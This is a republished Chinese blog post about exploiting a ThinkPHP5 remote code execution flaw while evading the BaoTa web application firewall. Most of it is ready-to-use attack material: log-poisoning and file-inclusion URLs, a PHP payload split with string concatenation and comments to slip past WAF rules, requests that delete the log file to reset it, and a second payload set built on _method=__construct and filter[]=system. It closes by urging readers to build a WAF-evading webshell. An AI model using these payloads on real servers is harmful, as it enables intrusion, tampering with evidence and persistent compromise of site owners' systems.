分享 | Thinkphp5-rce-过宝塔小思路

admin 2022年2月8日15:29:20评论798 views字数 1990阅读6分38秒阅读模式

前言

在一个项目上发现了一个tp5的rce漏洞,但是有宝塔拦截了
通常宝塔拦截了后,一些system、assert等危险函数是不能用了,但可以使用tp5的函数进行文件包含
但是我遇到这个宝塔应该不是默认规则,一些whoami、id、ipconfig、<?php a、等也会拦截,挺难绕过的,只好从文件包含日志下手了,这里直接将一句话木马写入日志是会被拦截的,所以只能另找方法。

RCE绕宝塔

POC1

文件包含日志通常是构造语句写入日志,然后包含日志文件
/index.php?s=index&content=<?php phpinfo();?>/index.php?s=index/thinkLang/load&file=../runtime/log/202201/21.log
但是很多时候我们构造语句时导致日志坏了,就不能包含了
分享 | Thinkphp5-rce-过宝塔小思路
需要将日志删除,然后重新构造
/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=unlink&vars[1][]=../runtime/log/202201/21.log
有时候宝塔规则太狠了,发现<?php ?>或其它就给拦截,我们可以通过拆分进行构造语句
首先正常访问
http://192.168.172.129:8808/index.php?s=index&content=test11
然后观察最新一条日志记录了什么
/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../runtime/log/202201/21.log

分享 | Thinkphp5-rce-过宝塔小思路
这里还要注意编码情况,这里可以看到这几处将我们请求写入了日志,并且没有编码
分享 | Thinkphp5-rce-过宝塔小思路
然后构造一句话,就已简单的<?php system(id);?>为例子
通过拆分和注释相互配合
<?php /*............*/$a="sys"."tem";/*..........*/$b="id";/*.........*/$a($b);/*
将上面四句话分别插入对应位置
分享 | Thinkphp5-rce-过宝塔小思路
成功插入日志中
分享 | Thinkphp5-rce-过宝塔小思路
最后包含日志
/index.php?s=index/thinkLang/load&file=../runtime/log/202201/21.log
分享 | Thinkphp5-rce-过宝塔小思路
然后配合该技巧,构造一个能绕过宝塔的一句话木马即可。

poc2

也就是另一种rce语句,根据poc1的思路,相同方式写入日志,错误就删日志
get[]=id&_method=__construct&method=get&filter[]=system
get[]=..runtimelog20220114.log&_method=__construct&method=get&filter[]=unlink
get[]=..runtimelog20220114.log&_method=__construct&method=get&filter[]=think__include_file

转载奇安信攻防社区:https://forum.butian.net/share/1121

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗分享 | Thinkphp5-rce-过宝塔小思路

往期文章有彩蛋哦分享 | Thinkphp5-rce-过宝塔小思路

分享 | Thinkphp5-rce-过宝塔小思路

一如既往的学习,一如既往的整理,一如即往的分享分享 | Thinkphp5-rce-过宝塔小思路

如侵权请私聊公众号删文


原文始发于微信公众号(渗透Xiao白帽):分享 | Thinkphp5-rce-过宝塔小思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月8日15:29:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享 | Thinkphp5-rce-过宝塔小思路https://cn-sec.com/archives/768620.html

发表评论

匿名网友 填写信息